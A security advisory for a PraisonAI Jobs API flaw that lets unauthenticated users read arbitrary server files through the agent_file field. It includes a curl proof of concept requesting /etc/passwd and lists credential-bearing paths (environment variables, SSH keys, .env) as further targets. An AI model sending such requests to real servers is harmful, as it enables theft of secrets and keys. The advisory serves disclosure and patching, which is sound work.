Advisory

PYSEC-2026-3516

Also known as: CVE-2026-57119, GHSA-p4pj-vh7h-6cqh

Summary

PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API

Details

Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details
The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths:

  • /proc/1/environ — environment variables, API keys
  • /home//.ssh/id_rsa — SSH private keys
  • /app/.env — application secrets

Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

Severity

High Basis: CVSS v3 score 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Dates

Published
2026-07-23 11:41 UTC
Modified
2026-07-23 15:00 UTC

Affected packages and fixes

praisonai

PyPI · All systems

Affected

  • introduced 0, fixed 4.6.59 (ecosystem)

Fixed versions

4.6.59

Fix

  • Fixed version 4.6.59
    pip install --upgrade praisonai==4.6.59

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences